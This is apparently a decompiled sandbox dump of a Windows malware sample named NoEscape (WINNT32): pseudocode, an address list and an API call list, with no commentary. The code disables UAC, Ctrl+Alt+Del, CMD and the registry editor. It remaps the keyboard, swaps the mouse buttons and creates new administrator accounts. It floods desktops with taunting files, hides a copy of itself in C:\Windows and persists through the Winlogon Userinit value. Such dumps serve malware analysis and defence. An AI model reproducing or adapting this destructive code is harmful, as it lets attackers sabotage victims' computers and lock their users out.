						__eflags = _t515 - 6;
						if(_t515 != 6) {
							goto L52;
						}
						_t53 = _t515 + 0x13; // 0x13
						_t54 = _t515 + 0xa; // 0xa
						_v801 = E00403DD0(_t54, _t53);
						 *0x4083c8 = RtlAllocateHeap( *0x4083e0, 8, 0x2a);
						_t518 = _v809;
						__eflags = _t518;
						if(_t518 == 0) {
							L28:
							_t519 = RtlReAllocateHeap( *0x4083e0, 8,  *0x4083c8, 0x28);
							_t710 = 0;
							__eflags = _t519;
							if(_t519 != 0) {
								asm("xorps xmm0, xmm0");
								_t710 = _t519;
								asm("movups [eax], xmm0");
								asm("movups [eax+0x10], xmm0");
								asm("movq [eax+0x20], xmm0");
							}
							 *0x4083c8 = _t710;
							 *0x4083c0 = 0x14; // executed
							GetUserNameW(_t710, 0x4083c0);
							_t751 =  *0x4083c8; // 0x6d5dd0
							_t777 =  *0x405154; // 0x6eeddbf0
							_v732 = L"NO ESCAPE";
							 *_t777(0, _t751, 0x3f3,  &_v732, 0);
							_v780.hCursor = L"death";
							 *_t777(0, _t751, 0x3eb,  &(_v780.hCursor), 0);
							_v780.lpfnWndProc = 2;
							 *_t777(0, _t751, 0x3ed,  &(_v780.lpfnWndProc), 0);
							_t527 = lstrlenW("0");
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"AutoAdminLogon", 0, 1, "0", _t527 + _t527); // executed
							RegCloseKey(_v880); // executed
							_v812.pt = 1;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"DisableCAD", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_v812.pt = 0;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"shutdownwithoutlogon", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_v812.pt = 1;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"UseDefaultTile", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_v812.pt = 1;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows\\System", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"DisableLogonBackgroundImage", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_t554 = RtlReAllocateHeap( *0x4083e0, 8,  *0x4083c8, 0x5c + lstrlenW(L"C:\\ProgramData") * 2);
							__eflags = _t554;
							_t712 =  !=  ? _t554 : 0;
							 *0x4083c8 = _t712;
							_t753 =  *0x405088;
							lstrcpyW(_t712, L"C:\\ProgramData");
							_t780 =  *0x405064;
							lstrcatW( *0x4083c8, L"\\Microsoft\\User Account Pictures\\");
							_t713 =  *0x4083c8; // 0x6d5dd0, executed
							E00401830(_t693, _t713,  *0x405088,  *0x405064);
							_t714 =  *0x4083c8; // 0x6d5dd0
							_t558 = 0;
							__eflags = 0;
							_v812.pt = L"user.bmp";
							_v788 = L"user.png";
							_v784 = L"user-32.png";
							_v780.cbSize = L"user-40.png";
							_v780.style = L"user-48.png";
							_v780.lpfnWndProc = L"user-192.png";
							 *0x4083d4 = 0;
							do {
								lstrcatW(_t714,  *(_t793 + 0x78 + (_t558 & 0x000000ff) * 4));
								E004015C0(_t693, ( *0x4083d4 & 0x000000ff) + 0x67, _t753, _t780); // executed
								_t563 = lstrlenW( *(_t793 + 0x78 + ( *0x4083d4 & 0x000000ff) * 4));
								_t564 = lstrlenW( *0x4083c8);
								_t714 =  *0x4083c8; // 0x6d5dd0
								_t780 =  *0x405064;
								 *((short*)(_t714 + (_t564 - _t563) * 2)) = 0;
								_t566 =  *0x4083d4; // 0x6
								_t558 = _t566 + 1;
								 *0x4083d4 = _t558;
								__eflags = _t558 - 6;
							} while (_t558 < 6);
							HeapFree( *0x4083e0, 0, _t714);
							_v640 = 0;
							_v636 = 0;
							_v632 = 0x71;
							_v628 = 0x10000;
							_v624 = 0x3b0000;
							_v620 = 0x3c0000;
							_v616 = 0x3d0000;
							_v612 = 0x3e0000;
							_v608 = 0x3f0000;
							_v604 = 0x400000;
							_v600 = 0x410000;
							_v596 = 0x420000;
							_v592 = 0x430000;
							_v588 = 0x440000;
							_v584 = 0x570000;
							_v580 = 0x580000;
							_v576 = 0xe0370000;
							_v572 = 0x460000;
							_v568 = 0xe0520000;
							_v564 = 0xe0470000;
							_v560 = 0xe0490000;
							_v556 = 0xe0510000;
							_v552 = 0xe04f0000;
							_v548 = 0xe0530000;
							_v544 = 0xe0480000;
							_v540 = 0xe04b0000;
							_v536 = 0xe0500000;
							_v532 = 0xe04d0000;
							_v528 = 0x520000;
							_v524 = 0x530000;
							_v520 = 0x510000;
							_v516 = 0x500000;
							_v512 = 0x4f0000;
							_v508 = 0x4b0000;
							_v504 = 0x4c0000;
							_v500 = 0x4d0000;
							_v496 = 0x4e0000;
							_v492 = 0x490000;
							_v488 = 0x480000;
							_v484 = 0x470000;
							_v480 = 0x450000;
							_v476 = 0xe0350000;
							_v472 = 0x370000;
							_v468 = 0x4a0000;
							_v464 = 0x290000;
							_v460 = 0x20000;
							_v456 = 0x30000;
							_v452 = 0x40000;
							_v448 = 0x50000;
							_v444 = 0x60000;
							_v440 = 0x70000;
							_v436 = 0x80000;
							_v432 = 0x90000;
							_v428 = 0xa0000;
							_v424 = 0xb0000;
							_v420 = 0xc0000;
							_v416 = 0xd0000;
							_v412 = 0xf0000;
							_v408 = 0x100000;
							_v404 = 0x110000;
							_v400 = 0x130000;
							_v396 = 0x160000;
							_v392 = 0x170000;
							_v388 = 0x190000;
							_v384 = 0x1a0000;
							_v380 = 0x1b0000;
							_v376 = 0x2b0000;
							_v372 = 0x280000;
							_v368 = 0x270000;
							_v364 = 0x260000;
							_v360 = 0x250000;
							_v356 = 0x240000;
							_v352 = 0x220000;
							_v348 = 0x210000;
							_v344 = 0x3a0000;
							_v340 = 0x2a0000;
							_v336 = 0x1d0000;
							_v332 = 0xe05b0000;
							_v328 = 0x380000;
							_v324 = 0x2c0000;
							_v320 = 0x2d0000;
							_v316 = 0x2e0000;
							_v312 = 0x2f0000;
							_v308 = 0x300000;
							_v304 = 0x320000;
							_v300 = 0x330000;
							_v296 = 0x340000;
							_v292 = 0x350000;
							_v288 = 0x360000;
							_v284 = 0xe01d0000;
							_v280 = 0xe05d0000;
							_v276 = 0xe05c0000;
							_v272 = 0xe0380000;
							_v268 = 0x590000;
							_v264 = 0xe0650000;
							_v260 = 0xe0210000;
							_v256 = 0xe06b0000;
							_v252 = 0xe05e0000;
							_v248 = 0xe05f0000;
							_v244 = 0xe06a0000;
							_v240 = 0xe0690000;
							_v236 = 0xe0680000;
							_v232 = 0xe0670000;
							_v228 = 0xe0320000;
							_v224 = 0xe06c0000;
							_v220 = 0xe06d0000;
							_v216 = 0xe0660000;
							_v212 = 0xe0200000;
							_v208 = 0xe02e0000;
							_v204 = 0xe02c0000;
							_v200 = 0xe0300000;
							_v196 = 0xe0190000;
							_v192 = 0xe0100000;
							_v188 = 0xe0240000;
							_v184 = 0xe0220000;
							_v180 = 0;
							_v892 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout", 0, 0, 0, 0x102, 0,  &_v892, 0); // executed
							RegSetValueExW(_v892, L"Scancode Map", 0, 3,  &_v640, 0x1d0); // executed
							 *((intOrPtr*)( *0x405014))(_v892);
							_t574 = lstrlenW("1");
							_v896 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"Control Panel\\Mouse", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"SwapMouseButtons", 0, 1, "1", _t574 + _t574); // executed
							RegCloseKey(_v896);
							_v812.message = 0;
							_v896 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"EnableLUA", 0, 4,  &(_v812.message), 4); // executed
							RegCloseKey(_v896);
							_v812.message = 1;
							_v896 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"DisableRegistryTools", 0, 4,  &(_v812.message), 4); // executed
							RegCloseKey(_v896);
							_v812.message = 2;
							_v896 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"SOFTWARE\\Policies\\Microsoft\\Windows\\System", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"DisableCMD", 0, 4,  &(_v812.message), 4); // executed
							RegCloseKey(_v896);
							_t596 = RtlAllocateHeap( *0x4083e0, 8, 0x1c + lstrlenW(L"C:\\Users\\jones\\AppData\\Local") * 2);
							 *0x4083c8 = _t596;
							 *((intOrPtr*)( *0x4051d4))(_t596, L"%s\\noescape.png", L"C:\\Users\\jones\\AppData\\Local");
							_t793 = _t793 + 0xc;
							E004015C0(_t693, 0x66, _t753,  *0x405014); // executed
							SystemParametersInfoW(0x14, 0,  *0x4083c8, 1);
							_v816 = 0;
							_v904 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v904, 0); // executed
							RegSetValueExW(_v904, L"AutoRestartShell", 0, 4,  &_v816, 4); // executed
							RegCloseKey(_v904);
							_v816 = 1;
							_v904 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"Control Panel\\Desktop", 0, 0, 0, 0x102, 0,  &_v904, 0); // executed
							RegSetValueExW(_v904, L"AutoColorization", 0, 4,  &_v816, 4); // executed
							RegCloseKey(_v904);
							E00401830(_t693, L"C:\\Users\\jones\\Desktop", _t753,  *0x405014); // executed
							E00401830(_t693, L"C:\\Users\\Public\\Desktop", _t753,  *0x405014); // executed
							_t614 = 0x44 + lstrlenW(L"C:\\Users\\Public\\Desktop") * 2;
							_v816 = _t614;
							_t784 = RtlReAllocateHeap( *0x4083e0, 8,  *0x4083c8, _t614);
							_t717 = 0;
							__eflags = _t784;
							if(_t784 != 0) {
								_push(_v828);
								_push(0);
								_push(_t784);
								L00404A40();
								_t793 = _t793 + 0xc;
								_t717 = _t784;
							}
							 *0x4083c8 = _t717;
							lstrcpyW(_t717, L"C:\\Users\\Public\\Desktop");
							_t617 = lstrlenW(L"C:\\Users\\Public\\Desktop");
							_t718 =  *0x4083c8; // 0x6d5dd0
							_t618 =  &(_t718[_t617]);
							 *_t618 = 0x5c;
							_v828 =  &(_t618[1]);
							_t620 = GetSystemMetrics(1);
							_t621 = GetSystemMetrics(0);
							 *0x4083bc = 0;
							_t628 = (0x2aaaaaab * _t620 * _t621 >> 0x00000020 >> 0x0000000a >> 0x0000001f) + 0x00000010 + (0x2aaaaaab * _t620 * _t621 >> 0x00000020 >> 0x0000000a) & 0x0000ffff;
							_v916 = _t628;
							__eflags = 0 - _t628;
							if(0 >= _t628) {
								L44:
								HeapFree( *0x4083e0, 0,  *0x4083c8);
								CopyFileW(L"C:\\Users\\jones\\Desktop\\NoEscape.exe", L"C:\\Windows\\winnt32.exe", 0); // executed
								SetFileAttributesW(L"C:\\Windows\\winnt32.exe", 6); // executed
								_t634 = RtlAllocateHeap( *0x4083e0, 8, 0x102 + lstrlenW(L"C:\\Windows\\winnt32.exe") * 2);
								_v832 = _t634;
								 *0x4083c8 = _t634;
								_v836 = 1;
								_v924 = 0x80000002;
								_v920 = 0;
								_t636 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0x101,  &_v924); // executed
								__eflags = _t636;
								if(_t636 == 0) {
									_t650 = RegQueryValueExW(_v924, L"Userinit", 0,  &_v836, 0,  &_v920); // executed
									__eflags = _t650;
									if(_t650 == 0) {
										_t788 = RtlAllocateHeap( *0x4083e0, 8, _v920);
										RegQueryValueExW(_v932, L"Userinit", 0,  &_v844, _t788,  &_v928); // executed
										L00404B5A();
										_t793 = _t793 + 0xc;
										 *((intOrPtr*)( *0x405014))(_v932, _v840, _t788, _v928);
										HeapFree( *0x4083e0, 0, _t788);
									}
								}
								_t637 = lstrlenW( *0x4083c8);
								_t721 =  *0x4083c8; // 0x6d5dd0
								__eflags =  *((short*)(_t721 + _t637 * 2 - 2)) - 0x2c;
								if( *((short*)(_t721 + _t637 * 2 - 2)) != 0x2c) {
									_t647 = lstrlenW(_t721);
									_t721 =  *0x4083c8; // 0x6d5dd0
									_t721[_t647] = 0x2c;
								}
								lstrcatW(_t721, L"C:\\Windows\\winnt32.exe");
								_t639 = lstrlenW( *0x4083c8);
								_t756 =  *0x4083c8; // 0x6d5dd0
								_v924 = 0x80000002;
								__eflags = _t756;
								if(_t756 != 0) {
									RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v924, 0); // executed
									RegSetValueExW(_v924, L"Userinit", 0, 1, _t756, _t639 + _t639); // executed
									RegCloseKey(_v924);
									_t756 =  *0x4083c8; // 0x6d5dd0
								}
								HeapFree( *0x4083e0, 0, _t756);
								MoveFileExW(L"C:\\Users\\jones\\Desktop\\NoEscape.exe", 0, 4); // executed
								 *0x405008(0, 0, 0, 7, 0x80000001); // executed
								goto L52;
							} else {
								_t789 = _v828;
								do {
									_t695 = E00403DD0(0x10, 0x20);
									 *0x4083dc = 0;
									__eflags = _t695;
									if(_t695 == 0) {
										goto L39;
									}
									do {
										_t666 = E00403DD0(0x530, 0x312f);
										_t740 =  *0x4083dc; // 0x17
										_t741 = _t740 + 1;
										 *0x4083dc = _t741;
										_t789[_t740 & 0x000000ff] = _t666;
										__eflags = _t741 - _t695;
									} while (_t741 < _t695);
									L39:
									_t659 = CreateFileW( *0x4083c8, 0x40000000, 0, 0, 2, 0x80, 0); // executed
									_t758 = _t659;
									__eflags = _t758 - 0xffffffff;
									if(_t758 != 0xffffffff) {
										__eflags = _t758;
										if(_t758 != 0) {
											WriteFile(_t758, "YOUR COMPUTER IS MINE. YOU CANNOT GET RID OF THIS MALWARE.N", 0x29a, 0, 0); // executed
										}
									}
									_push((_t695 & 0x000000ff) + (_t695 & 0x000000ff));
									_push(0);
									_push(_t789);
									L00404A40();
									_t793 = _t793 + 0xc;
									CloseHandle(_t758);
									_t663 =  *0x4083bc; // 0xe5
									_t664 = _t663 + 1;
									 *0x4083bc = _t664;
									__eflags = _t664 - _v916;
								} while (_t664 < _v916);
								goto L44;
							}
						}
						_t759 =  *0x405150; // 0x6eedc820
						_t790 =  *0x40514c; // 0x6eed8f30
						do {
							_v809 = _t518 - 1;
							_t697 = E00403DD0(0xa, 0x14);
							 *0x4083dc = 0;
							__eflags = _t697;
							if(_t697 == 0) {
								goto L23;
							} else {
								goto L22;
							}
							do {
								L22:
								_t678 = E00403DD0(0x530, 0x312f);
								_t698 =  *0x4083dc; // 0x17
								_t727 =  *0x4083c8; // 0x6d5dd0
								_t697 = _t698 + 1;
								 *0x4083dc = _t697;
								_t727[_t698 & 0x000000ff] = _t678;
								__eflags = _t697 - _t697;
							} while (_t697 < _t697);
							L23:
							_t669 =  *0x4083c8; // 0x6d5dd0
							_v812.message = 0;
							__eflags = _t669;
							if(_t669 != 0) {
								_v812.lParam = _t669;
								_v812.message = _t669;
								_v812.pt = 0;
								_v780.cbSize = 0;
								_v780.lpfnWndProc = 0;
								_v812.time = L"scancode_map";
								_v784 = 0;
								_v780.style = 1;
								_v788 = 1;
								_t673 =  *_t759(0, 1,  &(_v812.lParam), 0); // executed
								__eflags = _t673;
								if(_t673 == 0) {
									 *_t790(0, L"Administrators", 3,  &_v824, 1); // executed
									 *_t790(0, L"Users", 3,  &_v844, 1);
								}
							}
							_push((_t697 & 0x000000ff) + (_t697 & 0x000000ff));
							_push(0);
							_push( *0x4083c8);
							L00404A40();
							_t518 = _v809;
							_t793 = _t793 + 0xc;
							__eflags = _t518;
						} while (_t518 != 0);
						_t693 =  *0x405120;
						goto L28;
					}
					_t705 = _t704 + 2;
					__eflags = _t705;
					goto L13;
				} else {
					_t679 = RtlAllocateHeap( *0x4083e0, 8, 0x9c);
					 *0x4083c8 = _t679;
					wsprintfW(_t679, L"You are running NT %d.%d!\r\nThis malware requires NT 10.0 to run properly.", _v520, _v516);
					_t793 = _t794 + 0x10;
					MessageBoxW(0,  *0x4083c8, L"WINNT32", 0x10);
					 *((intOrPtr*)( *0x405128))( *0x4083e0, 0,  *0x4083c8);
					goto L53;
				}
			}

0x00401bc6
0x00401bcc
0x00401bd3
0x00401bdd
0x00401be2
0x00401bec
0x00401bf7
0x00401c15
0x00401c1a
0x00401c20
0x00401c2c
0x00401c30
0x00401c38
0x00401c44
0x00401c4f
0x00401c54
0x00401c60
0x00401c6b
0x00401c6b
0x00401c75
0x00401c9a
0x00401ca5
0x00401cab
0x00401cb1
0x00403404
0x00403413
0x00402f6c
0x00402f71
0x00402f85
0x00402f91
0x00402fa0
0x00402fbc
0x00402fbc
0x00401cc2
0x00401cce
0x00401cd0
0x00401cd4
0x00401cdf
0x00000000
0x00000000
0x00401cf4
0x00401cf9
0x00401cfc
0x00401d0f
0x00401d1d
0x00401d7f
0x00401d86
0x00401d8c
0x00401d8e
0x00401d93
0x00401d96
0x00401d9e
0x00401da5
0x00401dad
0x00401db4
0x00401dbc
0x00401dc3
0x00401dcb
0x00401dd2
0x00401dda
0x00401de1
0x00401de9
0x00401df0
0x00401df8
0x00401dff
0x00401e07
0x00401e23
0x00401e2a
0x00401e34
0x00401e3a
0x00401e40
0x00401e45
0x00401e47
0x00401e4c
0x00401e4c
0x00401e50
0x00401e5d
0x00401e63
0x00401e66
0x00401e74
0x00401e86
0x00401e8c
0x00401e93
0x00401e95
0x00401e9d
0x00401ea0
0x00401ea3
0x00401ea3
0x00401ea7
0x00000000
0x00000000
0x00401ea9
0x00401eac
0x00401eae
0x00000000
0x00000000
0x00401eb0
0x00401eb7
0x00401eb7
0x00401ec3
0x00401ed9
0x00401ee2
0x00401ee7
0x00401ee8
0x00401eed
0x00401ef2
0x00401f05
0x00401f14
0x00401f1a
0x00401f1c
0x00402f68
0x00402f68
0x00000000
0x00402f68
0x00401f22
0x00401f28
0x00401f28
0x00401f2a
0x00401f31
0x00401f38
0x00401f3f
0x00401f46
0x00401f46
0x00401f49
0x00401f4f
0x00401f59
0x00401f59
0x00401f6a
0x00401f70
0x00401f7a
0x00401f8e
0x00401f95
0x00401f9b
0x00401f9e
0x00402fc2
0x00402fdf
0x00402fef
0x00402ffa
0x00402ffc
0x00403007
0x00403009
0x00403011
0x00403016
0x0040301a
0x0040301c
0x00403024
0x00403024
0x0040303e
0x00403053
0x0040305d
0x00403063
0x00403063
0x0040306b
0x0040306d
0x00403075
0x0040307a
0x0040307e
0x00403080
0x00403088
0x00403088
0x004030a2
0x004030b7
0x004030c1
0x004030c7
0x004030c7
0x004030d5
0x004030db
0x004030de
0x004030e0
0x004032aa
0x004032ae
0x00000000
0x00000000
0x004032b5
0x004032b7
0x004032ba
0x00000000
0x00000000
0x004032c0
0x004032cb
0x004032cd
0x004032d0
0x004032d2
0x00000000
0x00000000
0x004032e2
0x004032e4
0x004032e8
0x004032ee
0x004032f0
0x00000000
0x00000000
0x004032fe
0x00403304
0x00403307
0x00403309
0x00000000
0x00000000
0x0040330f
0x00403314
0x00403318
0x00403358
0x0040335c
0x004033cf
0x004033cf
0x004033dd
0x004033fa
0x00000000
0x004033fa
0x0040335e
0x00403364
0x00000000
0x00000000
0x00403366
0x0040336a
0x00000000
0x00000000
0x00403373
0x00403375
0x00403378
0x004033a5
0x004033ae
0x004033ba
0x004033bf
0x004033c5
0x004033c5
0x00000000
0x004033bf
0x0040337f
0x00403381
0x00403384
0x00403386
0x00000000
0x00000000
0x00403391
0x00403393
0x0040339a
0x0040339c
0x0040339f
0x00000000
0x00000000
0x00000000
0x0040339f
0x0040331a
0x00403320
0x00000000
0x00000000
0x00403332
0x00403338
0x0040333a
0x00000000
0x00000000
0x0040334d
0x00000000
0x004030e6
0x004030f4
0x004030f6
0x004030fc
0x00403101
0x00000000
0x00000000
0x0040310d
0x0040311e
0x00403124
0x00403129
0x00403132
0x0040313a
0x00403142
0x00403148
0x0040314e
0x00403156
0x0040315e
0x00403166
0x0040317e
0x0040318c
0x00403192
0x0040319b
0x004031d2
0x004031ea
0x004031ef
0x004031f4
0x004031f9
0x00403200
0x00403200
0x00403206
0x0040320b
0x0040320f
0x00403231
0x00403235
0x00000000
0x00000000
0x00403237
0x0040323d
0x00000000
0x00000000
0x00403248
0x0040324a
0x0040324c
0x0040324e
0x00403250
0x00000000
0x00403211
0x00403211
0x00403217
0x0040325f
0x00403270
0x00403272
0x00403274
0x00000000
0x00000000
0x00403286
0x0040328b
0x00403292
0x0040329f
0x004032a1
0x004032a1
0x00000000
0x004032a5
0x00403222
0x00403224
0x00403226
0x00403228
0x0040322a
0x00403255
0x00403259
0x00000000
0x00403259
0x0040320f
0x004030e0
0x00401fad
0x00401fb3
0x00401fb9
0x00401fbe
0x00000000
0x00000000
0x00401fd2
0x00401fd8
0x00401fdb
0x00000000
0x00000000
0x00401fe1
0x00401fe4
0x00401ff6
0x00402000
0x00402005
0x00402009
0x0040200b
0x00402120
0x00402130
0x00402136
0x00402138
0x0040213a
0x0040213c
0x0040213f
0x00402141
0x00402144
0x00402148
0x00402148
0x00402153
0x00402159
0x00402163
0x00402169
0x00402173
0x00402184
0x0040218f
0x00402197
0x004021a8
0x004021b0
0x004021c1
0x004021c8
0x004021d2
0x004021f9
0x0040220e
0x0040221e
0x00402226
0x00402246
0x0040224e
0x00402264
0x0040226e
0x00402270
0x0040227e
0x0040229e
0x004022b4
0x004022be
0x004022c6
0x004022e6
0x004022ee
0x00402304
0x0040230e
0x00402316
0x00402336
0x0040233e
0x00402354
0x0040235e
0x0040237d
0x00402385
0x0040238c
0x0040238f
0x00402395
0x0040239c
0x0040239e
0x004023af
0x004023b1
0x004023b7
0x004023bc
0x004023c2
0x004023c2
0x004023c4
0x004023cc
0x004023d4
0x004023df
0x004023ea
0x004023f5
0x00402400
0x00402405
0x0040240d
0x0040241a
0x0040242a
0x00402434
0x00402436
0x0040243e
0x00402446
0x0040244a
0x0040244f
0x00402451
0x00402456
0x00402456
0x00402462
0x00402468
0x00402473
0x0040247e
0x00402489
0x00402494
0x0040249f
0x004024aa
0x004024b5
0x004024c0
0x004024cb
0x004024d6
0x004024e1
0x004024ec
0x004024f7
0x00402502
0x0040250d
0x00402518
0x00402523
0x0040252e
0x00402539
0x00402544
0x0040254f
0x0040255a
0x00402565
0x00402570
0x0040257b
0x00402586
0x00402591
0x0040259c
0x004025a7
0x004025b2
0x004025bd
0x004025c8
0x004025d3
0x004025de
0x004025e9
0x004025f4
0x004025ff
0x0040260a
0x00402615
0x00402620
0x0040262b
0x00402636
0x00402641
0x0040264c
0x00402657
0x00402662
0x0040266d
0x00402678
0x00402683
0x0040268e
0x00402699
0x004026a4
0x004026af
0x004026ba
0x004026c5
0x004026d0
0x004026db
0x004026e6
0x004026f1
0x004026fc
0x00402707
0x00402712
0x0040271d
0x00402728
0x00402733
0x0040273e
0x00402749
0x00402754
0x0040275f
0x0040276a
0x00402775
0x00402780
0x0040278b
0x00402796
0x004027a1
0x004027ac
0x004027bd
0x004027e0
0x004027eb
0x004027f6
0x00402801
0x0040280c
0x00402817
0x00402822
0x0040282d
0x00402838
0x00402843
0x0040284e
0x00402859
0x00402864
0x0040286f
0x0040287a
0x00402885
0x00402890
0x0040289b
0x004028a6
0x004028b1
0x004028bc
0x004028c7
0x004028d2
0x004028dd
0x004028e8
0x004028f3
0x004028fe
0x00402909
0x00402914
0x0040291f
0x0040292a
0x00402935
0x00402940
0x0040294b
0x00402956
0x00402961
0x0040296c
0x00402977
0x00402982
0x0040298a
0x004029aa
0x004029b9
0x004029c0
0x004029c4
0x004029eb
0x00402a04
0x00402a14
0x00402a1c
0x00402a3c
0x00402a44
0x00402a5e
0x00402a68
0x00402a70
0x00402a90
0x00402a98
0x00402ab2
0x00402abc
0x00402ac4
0x00402ae4
0x00402aec
0x00402b06
0x00402b10
0x00402b29
0x00402b39
0x00402b44
0x00402b46
0x00402b4e
0x00402b5f
0x00402b6b
0x00402b8b
0x00402b93
0x00402bad
0x00402bb7
0x00402bbf
0x00402bdf
0x00402be7
0x00402c01
0x00402c0b
0x00402c12
0x00402c1c
0x00402c28
0x00402c36
0x00402c48
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c50
0x00402c54
0x00402c55
0x00402c56
0x00402c5b
0x00402c5e
0x00402c5e
0x00402c66
0x00402c6c
0x00402c73
0x00402c75
0x00402c83
0x00402c8b
0x00402c91
0x00402c95
0x00402c9b
0x00402ca7
0x00402cbd
0x00402cc0
0x00402cc4
0x00402cc7
0x00402d8d
0x00402d9b
0x00402dad
0x00402dba
0x00402ddd
0x00402ddf
0x00402de3
0x00402dfe
0x00402e09
0x00402e11
0x00402e19
0x00402e1f
0x00402e21
0x00402e44
0x00402e46
0x00402e48
0x00402e58
0x00402e70
0x00402e7b
0x00402e85
0x00402e8c
0x00402e97
0x00402e97
0x00402e48
0x00402ea3
0x00402ea5
0x00402eab
0x00402eb1
0x00402eb4
0x00402eb6
0x00402ec1
0x00402ec1
0x00402ecb
0x00402ed7
0x00402ed9
0x00402edf
0x00402ee7
0x00402ee9
0x00402f0c
0x00402f21
0x00402f2b
0x00402f31
0x00402f31
0x00402f40
0x00402f4f
0x00402f62
0x00000000
0x00402ccd
0x00402ccd
0x00402cd1
0x00402cde
0x00402ce0
0x00402ce7
0x00402ce9
0x00000000
0x00000000
0x00402cf0
0x00402cfa
0x00402cff
0x00402d08
0x00402d0a
0x00402d10
0x00402d14
0x00402d14
0x00402d18
0x00402d30
0x00402d36
0x00402d38
0x00402d3b
0x00402d3d
0x00402d3f
0x00402d50
0x00402d50
0x00402d3f
0x00402d5b
0x00402d5c
0x00402d5e
0x00402d5f
0x00402d64
0x00402d68
0x00402d6e
0x00402d74
0x00402d76
0x00402d7c
0x00402d7c
0x00000000
0x00402d87
0x00402cc7
0x00402011
0x00402017
0x00402020
0x00402027
0x00402033
0x00402035
0x0040203c
0x0040203e
0x00000000
0x00000000
0x00000000
0x00000000
0x00402040
0x00402040
0x0040204a
0x0040204f
0x00402055
0x0040205e
0x00402060
0x00402066
0x0040206a
0x0040206a
0x0040206e
0x0040206e
0x00402073
0x0040207b
0x0040207d
0x00402085
0x00402089
0x00402096
0x0040209e
0x004020a6
0x004020ae
0x004020b6
0x004020be
0x004020c6
0x004020ce
0x004020d0
0x004020d2
0x004020e4
0x004020f6
0x004020f6
0x004020d2
0x004020fd
0x004020fe
0x00402100
0x00402106
0x0040210b
0x0040210f
0x00402112
0x00402112
0x0040211a
0x00000000
0x0040211a
0x00401eb4
0x00401eb4
0x00000000
0x00401d1f
0x00401d2c
0x00401d35
0x00401d47
0x00401d4d
0x00401d5f
0x00401d78
0x00000000
0x00401d78

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00401BE6
GetProcessHeap.KERNEL32 ref: 00401BF1
GetCurrentProcess.KERNEL32 ref: 00401BFC
RtlAllocateHeap.NTDLL(00000008,00001866), ref: 00401C1A
RtlAllocateHeap.NTDLL(00000008,00000010), ref: 00401C44
RtlInitializeCriticalSection.NTDLL(004083A0), ref: 00401C6B
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401CA5
CheckTokenMembership.KERNELBASE(00000000,?,?), ref: 00401CC2
FreeSid.ADVAPI32(?), ref: 00401CD4
RtlGetVersion.NTDLL(0000011C), ref: 00401D0F
RtlAllocateHeap.NTDLL(00000008,0000009C), ref: 00401D2C
wsprintfW.USER32 ref: 00401D47
MessageBoxW.USER32(00000000,WINNT32,00000010), ref: 00401D5F
SHGetKnownFolderPath.SHELL32(?,00001000,00000000,?), ref: 00401E23
lstrcpyW.KERNEL32(-00000006,?), ref: 00401E2A
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401E74
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00401E86
lstrlenW.KERNEL32(?), ref: 00401E93
lstrcpyW.KERNEL32(?,-00000004), ref: 00401EC3
wsprintfW.USER32 ref: 00401ED9
RtlAllocateHeap.NTDLL(00000008,00000034), ref: 00401EFF
OpenProcessToken.ADVAPI32(00000028,?), ref: 00401F14
AdjustTokenPrivileges.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000), ref: 00401F70
CloseHandle.KERNEL32(?), ref: 00401F7A
GetFileAttributesW.KERNELBASE(C:\Windows\winnt32.exe), ref: 00401F95
CreateMutexW.KERNELBASE(00000000,00000001,processLimit), ref: 00401FAD
GetLastError.KERNEL32 ref: 00401FB3
MessageBoxW.USER32(00000000,This malware is no joke, continue?,WINNT32,00000024), ref: 00401FD2
